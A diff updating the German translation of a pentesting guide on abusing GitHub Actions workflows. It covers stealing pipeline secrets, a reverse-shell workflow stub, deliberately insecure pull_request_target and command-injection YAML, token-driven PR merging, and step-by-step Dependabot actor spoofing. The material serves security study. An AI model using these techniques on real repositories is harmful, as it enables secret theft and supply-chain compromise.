Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -2,57 +2,57 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Werkzeuge
+## Tools
 
-Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu identifizieren:
+Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu identifizieren:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Überprüfen Sie auch die Checkliste unter [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch dessen Checklist an in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
-## Grundinformationen
+## Grundlegende Informationen
 
-Auf dieser Seite finden Sie:
+Auf dieser Seite findest du:
 
-- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer Zugriff auf eine Github Action erhält
-- Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**:
-- Berechtigungen, um die Action zu erstellen
-- Missbrauch von **Pull-Request**-bezogenen Triggern
-- Missbrauch von **anderen externen Zugriffstechniken**
+- Eine **Zusammenfassung aller Auswirkungen**, falls ein Angreifer Zugriff auf eine Github Action erlangt
+- Verschiedene Wege, **Zugriff auf eine Action zu erhalten**:
+- Über **Berechtigungen**, um die Action zu erstellen
+- Missbrauch von **pull request**-bezogenen Triggern
+- Missbrauch **anderer externer Zugriffstechniken**
 - **Pivoting** von einem bereits kompromittierten Repo
-- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (wegen der genannten Auswirkungen)
+- Schließlich ein Abschnitt über **post-exploitation techniques to abuse an action from inside** (um die genannten Auswirkungen zu verursachen)
 
 ## Zusammenfassung der Auswirkungen
 
-Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
+Für eine Einführung zu [**Github Actions siehe die Grundinformationen**](../basic-github-information.md#github-actions).
 
-Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein zu:
+Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du:
 
-- **Geheimnisse** zu stehlen, die in die Pipeline eingebunden sind, und die **Berechtigungen der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
-- **Deployments** und andere **Artefakte** zu kompromittieren.
-- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
-- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
-- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
+- **Secrets stehlen**, die an die pipeline gemountet sind, und **die Privilegien der pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
+- **Deployments kompromittieren** und andere **artifacts**.
+- Wenn die pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen.
+- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivoten.
+- **Repository code überschreiben**, abhängig von den mit dem `GITHUB_TOKEN` verbundenen Berechtigungen.
 
 ## GITHUB_TOKEN
 
-Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird gegeben, wenn der Administrator diese Option aktiviert:
+Dieses "**secret**" (aus `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird vergeben, wenn der Admin diese Option aktiviert:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Dieses Token ist dasselbe, das eine **Github Application** verwenden würde, daher kann es dieselben Endpunkte erreichen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
+> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub erlaubt, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
 
-Sie können die möglichen **Berechtigungen** dieses Tokens unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) einsehen.
+Die möglichen **Berechtigungen** dieses Tokens findest du unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Beachten Sie, dass das Token **nach Abschluss des Jobs abläuft**.\
+Beachte, dass das Token **nach Abschluss des Jobs abläuft**.\
 Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Einige interessante Dinge, die Sie mit diesem Token tun können:
+Einige interessante Dinge, die du mit diesem Token tun kannst:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="PR erstellen" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungen von Github Actions oder in den Geheimnissen** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
+> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Berechtigungen für das Repository und die Organization geben.
 
 <details>
 
-<summary>Liste der Geheimnisse im Github Action-Ausgang</summary>
+<summary>Secrets in Github Action output auflisten</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
+<summary>Reverse shell mit secrets erhalten</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, **durch Überprüfung der Protokolle** der Aktionen zu überprüfen:
+Es ist möglich, die Berechtigungen eines Github Token in Repositories anderer Nutzer zu prüfen, indem man **die Logs der Actions überprüft**:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Erlaubte Ausführung
 
 > [!NOTE]
-> Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie **ein neues Repo in der Organisation erstellen** können oder **Schreibrechte über ein Repository** haben.
+> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du die Möglichkeit hast, **ein neues Repo in der organization zu erstellen**, oder **Schreibrechte an einem Repository** hast.
 >
-> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen.
+> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) prüfen.
 
-### Ausführung bei Repo-Erstellung
+### Ausführung durch Repo-Erstellung
 
-Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Github-Aktionen ausführen können, können Sie **ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen**.
+Falls Mitglieder einer Organization **create new repos** können und du github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf organization level gesetzten secrets stehlen**.
 
-### Ausführung von einem neuen Branch
+### Ausführung über einen neuen Branch
 
-Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion vom neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
+Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **die Action aus dem neuen Branch ausführen**. Auf diese Weise kannst du **exfiltrate repository and organization level secrets** (aber du musst wissen, wie sie genannt werden).
 
-Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
+> [!WARNING]
+> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals oder manuelle Gates), kann von Collaborators bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments und protected tags) kann ein Contributor einen Workflow so umleiten, dass er auf dessen Branch läuft und gemountete secrets/permissions missbraucht werden.
+
+Du kannst die modifizierte Action ausführbar machen **manuell,** wenn eine **PR erstellt wird** oder wenn **etwas Code gepusht wird** (je nachdem, wie auffällig du sein willst):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Forked Execution
+## Forked-Ausführung
 
 > [!NOTE]
-> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
+> Es gibt verschiedene Trigger, die einem Angreifer erlauben könnten, eine **Github Action eines anderen Repositories auszuführen**. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
 
 ### `pull_request`
 
-Der Workflow-Trigger **`pull_request`** wird den Workflow jedes Mal ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
+Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein **Maintainer** die **Ausführung** des Workflows **freigeben**:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Da die **Standardbeschränkung** für **Erstbeiträge** gilt, könnten Sie **einen gültigen Bug/Tippfehler beheben** und dann **andere PRs senden, um Ihre neuen `pull_request`-Befugnisse auszunutzen**.
+> Da die **Standard-Beschränkung** für **Erstbeitragende** gilt, könntest du zunächst **einen validen Bug/Typo beheben** und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**.
 >
-> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~
+> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Option wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat, und sein Konto zu löschen.~~
 
-Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
+Außerdem verhindert es standardmäßig **write permissions** und den **Zugriff auf Secrets** im Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
 
-> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow von einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**.
+> Mit Ausnahme von `GITHUB_TOKEN` werden **Secrets nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull Requests **aus forked Repositories**.
 
-Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.
+Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings kann er wegen der erwähnten Beschränkungen keine Secrets stehlen oder das Repo überschreiben.
 
 > [!CAUTION]
-> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!**
+> **Ja, wenn der Angreifer in dem PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!**
 
-Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise **bösartige Artefakte hochladen**, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das `GITHUB_TOKEN` gibt.
+Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne Secrets oder Schreibrechte auf das `GITHUB_TOKEN` zum Beispiel **bösartige Artefakte hochladen**.
 
 ### **`pull_request_target`**
 
-Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).
+Der Workflow-Trigger **`pull_request_target`** hat **write permission** für das Ziel-Repository und **Zugriff auf Secrets** (und fragt nicht nach einer Genehmigung).
 
-Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Beachte, dass der Workflow-Trigger **`pull_request_target`** im Base-Kontext ausgeführt wird und nicht in dem vom PR bereitgestellten Kontext (um **nicht vertrauenswürdigen Code auszuführen**). Für mehr Infos zu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Außerdem, für mehr Infos zu diesem speziellen gefährlichen Einsatz, siehe [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
+Es könnte so aussehen, dass es sicher ist, **`pull_request_target`** zu verwenden, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, aber es gibt einige Fälle, in denen das **nicht** zutrifft.
 
-Und dieser hat **Zugriff auf Geheimnisse**.
+Und dieser wird **Zugriff auf Secrets** haben.
 
 ### `workflow_run`
 
-Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er `completed`, `requested` oder `in_progress` ist.
+Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger erlaubt es, einen Workflow von einem anderen auszuführen, wenn dieser `completed`, `requested` oder `in_progress` ist.
 
-In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach dem Abschluss des separaten "Run Tests"-Workflows ausgeführt wird:
+In diesem Beispiel ist ein Workflow so konfiguriert, dass er ausgeführt wird, nachdem der separate "Run Tests" Workflow abgeschlossen ist:
 ```yaml
 on:
 workflow_run:
@@ -227,37 +230,37 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Außerdem, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **Geheimnisse abrufen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**.
+Außerdem, laut der Dokumentation: Der durch das `workflow_run`-Event gestartete workflow kann **access secrets and write tokens, even if the previous workflow was not**.
 
-Diese Art von Workflow könnte angegriffen werden, wenn sie **von** einem **Workflow** abhängt, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
-Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist.
+This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`  
+The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der aus dem Ursprung oder vom geforkten PR stammt
+TODO: Prüfen, ob beim Ausführen aus einem pull_request der verwendete/heruntergeladene Code aus dem Origin-Repo oder aus dem geforkten PR stammt
 
-## Missbrauch von geforkter Ausführung
+## Missbrauch von Forked Execution
 
-Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
+Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
 
-### Unsichere Checkout-Ausführung
+### Untrusted checkout execution
 
-Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](#pull_request) ausgeführt.
+Im Fall von **`pull_request`** wird der workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn zuerst **autorize** und er läuft mit einigen [Einschränkungen](#pull_request).
 
-Im Fall eines Workflows, der **`pull_request_target` oder `workflow_run`** verwendet und von einem Workflow abhängt, der von **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem ursprünglichen Repository ausgeführt, sodass der **Angreifer den ausgeführten Code nicht kontrollieren kann**.
+Im Fall eines workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem workflow abhängt, der durch **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**.
 
 > [!CAUTION]
-> Wenn jedoch die **Aktion** einen **expliziten PR-Checkout** hat, der **den Code vom PR** (und nicht von der Basis) **holt**, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
 
-<pre class="language-yaml"><code class="lang-yaml"># UNSICHER. Nur als Beispiel bereitgestellt.
+<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
 pull_request_target
 
 jobs:
 build:
-name: Build und Test
+name: Build and test
 runs-on: ubuntu-latest
 steps:
 <strong>    - uses: actions/checkout@v2
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Danke!
+Thank you!
 </code></pre>
 
-Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und die referenzierten **Pakete vom Autor des PR** kontrolliert werden.
+Der potenziell **untrusted code is being run during `npm install` or `npm build`**, da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
 
 > [!WARNING]
-> Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: `event.pull_request pull_request_target extension:yml`, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (wie die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
-### Kontext-Skript-Injektionen <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
+Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erzeugenden PR **controlled** werden. Wenn die github action diese **data to execute anything** verwendet, könnte das zu **arbitrary code execution** führen:
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Skript-Injektion** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Laut den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
+Laut der Dokumentation: Du kannst eine **environment variable für alle nachfolgenden Schritte** in einem workflow job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die **`GITHUB_ENV`** environment file schreibst.
 
-Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
+Wenn ein Angreifer beliebige Werte in diese **env**-Variable **inject** könnte, könnte er Umgebungsvariablen einschleusen, die in nachfolgenden Schritten Code ausführen, z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
 
-Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der ein hochgeladenes Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:
+Zum Beispiel (siehe [**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stell dir einen workflow vor, der einem hochgeladenen artifact vertraut und dessen Inhalt in die **`GITHUB_ENV`** env variable schreibt. Ein Angreifer könnte etwas wie das Folgende hochladen, um es zu kompromittieren:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot und andere vertrauenswürdige Bots
+### Dependabot and other trusted bots
 
-Wie in [**diesem Blogbeitrag**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine GitHub-Aktion, die jeden PR von `dependabot[bot]` zusammenführt, wie in:
+Wie in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine Github Action, die jeden PR von `dependabot[bot]` merged, wie in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Welches ein Problem darstellt, da das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Und es gibt mehrere Möglichkeiten, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu ändern. Zum Beispiel:
+Das ist ein Problem, weil das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
 
-- Forken Sie das Opfer-Repository
-- Fügen Sie die bösartige Payload zu Ihrer Kopie hinzu
-- Aktivieren Sie Dependabot in Ihrem Fork, indem Sie eine veraltete Abhängigkeit hinzufügen. Dependabot wird einen Branch erstellen, der die Abhängigkeit mit bösartigem Code behebt.
-- Öffnen Sie einen Pull Request zum Opfer-Repository von diesem Branch (der PR wird vom Benutzer erstellt, also wird noch nichts passieren)
-- Dann geht der Angreifer zurück zu dem ursprünglichen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
-- Dann führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Opfer-Repo modifizieren, wodurch `dependabot[bot]` der Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat (und daher der Workflow ausgeführt wird).
+- Forke das Repository des Opfers
+- Füge die bösartige Payload zu deiner Kopie hinzu
+- Aktiviere Dependabot in deinem Fork, indem du eine veraltete Dependency hinzufügst. Dependabot erstellt einen Branch, der die Dependency behebt — mit bösartigem Code.
+- Öffne von diesem Branch einen Pull Request zum Repository des Opfers (der PR wird vom Benutzer erstellt, daher passiert vorerst nichts)
+- Dann geht der Angreifer zurück zum initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
+- Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers ändern, wodurch `dependabot[bot]` zum Actor des letzten Ereignisses wird, das den Workflow auslöste (und damit der Workflow ausgeführt wird).
 
-Kommen wir nun dazu, was wäre, wenn anstelle des Zusammenführens die Github Action eine Befehlsinjektion hätte wie in:
+Weiterhin: was wäre, wenn statt des Mergings die Github Action eine command injection hätte, wie in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Nun, der ursprüngliche Blogbeitrag schlägt zwei Optionen vor, um dieses Verhalten auszunutzen, wobei die zweite ist:
+Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen — die zweite ist:
 
-- Forken Sie das Opfer-Repository und aktivieren Sie Dependabot mit einer veralteten Abhängigkeit.
-- Erstellen Sie einen neuen Branch mit dem bösartigen Shell-Injektionscode.
-- Ändern Sie den Standardbranch des Repos auf diesen.
-- Erstellen Sie einen PR von diesem Branch zum Opfer-Repository.
-- Führen Sie `@dependabot merge` im PR aus, den Dependabot in seinem Fork geöffnet hat.
-- Dependabot wird seine Änderungen im Standardbranch Ihres geforkten Repositories zusammenführen und den PR im Opfer-Repository aktualisieren, wodurch `dependabot[bot]` der Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat, und einen bösartigen Branch-Namen verwendet.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injeciton code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Verwundbare Drittanbieter Github Actions
+### Verwundbare Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
